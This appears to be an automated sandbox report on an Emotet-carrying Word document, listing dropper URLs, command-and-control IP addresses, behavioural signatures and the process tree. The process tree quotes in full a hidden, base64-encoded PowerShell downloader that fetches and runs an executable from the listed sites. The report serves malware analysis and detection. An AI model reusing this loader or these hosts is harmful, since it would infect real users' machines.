Analysis

  • max time kernel
    29s
  • resource
    win10v191014
  • submitted
    10-12-2019 17:09

General

  • Target

    585307062aaa4f62202ad9d974146773038ed2e3a8f75b14a3e27c1b5fc4f5f1.doc

  • Sample

    191210-rxbfnb2yta

  • SHA256

    585307062aaa4f62202ad9d974146773038ed2e3a8f75b14a3e27c1b5fc4f5f1

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.cigpcl.com/wp-admin/9674/

exe.dropper

http://blog.380degre.com/wp-admin/xk8/

exe.dropper

https://bestmusicafrica.com/cgi-bin/g336/

exe.dropper

http://event.narailvolunteers.org/wp-admin/e12153/

exe.dropper

http://ljterrace.com/fmjiet/j6uv75/

Extracted

Family

emotet

C2

85.152.208.146:80

68.174.15.223:80

2.42.173.240:80

96.126.121.64:443

104.236.137.72:8080

172.104.233.225:8080

85.234.143.94:8080

45.79.95.107:443

77.55.211.77:8080

188.14.39.65:443

83.165.163.225:80

185.160.212.3:80

109.169.86.13:8080

68.183.190.199:8080

119.59.124.163:8080

178.79.163.131:8080

87.118.70.69:8080

91.83.93.124:7080

77.241.53.234:80

109.166.89.91:80

rsa_pubkey.plain

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\585307062aaa4f62202ad9d974146773038ed2e3a8f75b14a3e27c1b5fc4f5f1.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    PID:4924
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:3084
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABPAHkAZgBwAHQAagBvAGYAcQBwAD0AJwBDAGUAeQB0AGsAYgBpAHYAYgAnADsAJABUAGMAbQByAHQAYgBwAGsAdwBnAGoAIAA9ACAAJwA0ADEAMwAnADsAJABHAGkAcwBiAGYAawB1AHQAcQA9ACcATwBqAHcAYwBuAG4AaQBkAG0AbwBqAHEAJwA7ACQAUwBsAGgAbgBwAG0AdwB3AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABUAGMAbQByAHQAYgBwAGsAdwBnAGoAKwAnAC4AZQB4AGUAJwA7ACQAUgBsAGYAYgBnAGsAZQBhAGEAagBsAD0AJwBBAGYAdgBkAHIAZABsAGoAawBvACcAOwAkAFIAaABuAGEAdAB0AGQAbwB6AGIAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBOAFQAOwAkAFcAbgB2AGQAZgB1AHcAcQBhAGEAbwBsAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAaQBnAHAAYwBsAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA5ADYANwA0AC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgAzADgAMABkAGUAZwByAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHgAawA4AC8AKgBoAHQAdABwAHMAOgAvAC8AYgBlAHMAdABtAHUAcwBpAGMAYQBmAHIAaQBjAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBnADMAMwA2AC8AKgBoAHQAdABwADoALwAvAGUAdgBlAG4AdAAuAG4AYQByAGEAaQBsAHYAbwBsAHUAbgB0AGUAZQByAHMALgBvAHIAZwAvAHcAcAAtAGEAZABtAGkAbgAvAGUAMQAyADEANQAzAC8AKgBoAHQAdABwADoALwAvAGwAagB0AGUAcgByAGEAYwBlAC4AYwBvAG0ALwBmAG0AagBpAGUAdAAvAGoANgB1AHYANwA1AC8AJwAuACIAcwBQAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEgAcwBoAGwAcQB3AHIAdQBrAG4AeQBvAD0AJwBQAG8AbgBpAG0AcgB3AGEAaQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAGUAeABwAGQAYQByAHgAYgB1AHEAcABnACAAaQBuACAAJABXAG4AdgBkAGYAdQB3AHEAYQBhAG8AbABsACkAewB0AHIAeQB7ACQAUgBoAG4AYQB0AHQAZABvAHoAYgAuACIARABvAHcAbgBMAGAAbwBBAGAARABGAEkAYABsAGUAIgAoACQAWABlAHgAcABkAGEAcgB4AGIAdQBxAHAAZwAsACAAJABTAGwAaABuAHAAbQB3AHcAKQA7ACQAUwBuAG0AaABnAHgAZwBnAHoAcgA9ACcASwBtAHQAdwBjAG0AaABnAGwAZwBvACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUwBsAGgAbgBwAG0AdwB3ACkALgAiAEwAYABFAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA3ADUAMgAyACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABgAEEAcgBUACIAKAAkAFMAbABoAG4AcABtAHcAdwApADsAJABCAGcAeQBnAGsAawB1AGYAPQAnAEgAZABoAGIAaQBtAGwAeAByACcAOwBiAHIAZQBhAGsAOwAkAEEAeAB6AHkAdwBxAGsAYQBsAHkAcABsAGYAPQAnAEgAcwBoAG0AdQBlAGkAcABwAHoAZgBmAHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBlAHcAYwBhAGkAegBpAG4AdQBqAGYAdAA9ACcAUgBiAGYAaQBlAHMAcQBmAGUAdAByAGkAJwA=
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4528
      • C:\Users\Admin\413.exe
        "C:\Users\Admin\413.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4656
        • C:\Users\Admin\413.exe
          --530387d4
          3⤵
          • Drops file in System32 directory
          • Suspicious use of SetWindowsHookEx
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          PID:3708

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3708-11-0x0000000000620000-0x0000000000637000-memory.dmp

      Filesize

      92KB

    • memory/3708-12-0x0000000000400000-0x000000000047C000-memory.dmp

      Filesize

      496KB

    • memory/4656-9-0x0000000002220000-0x0000000002237000-memory.dmp

      Filesize

      92KB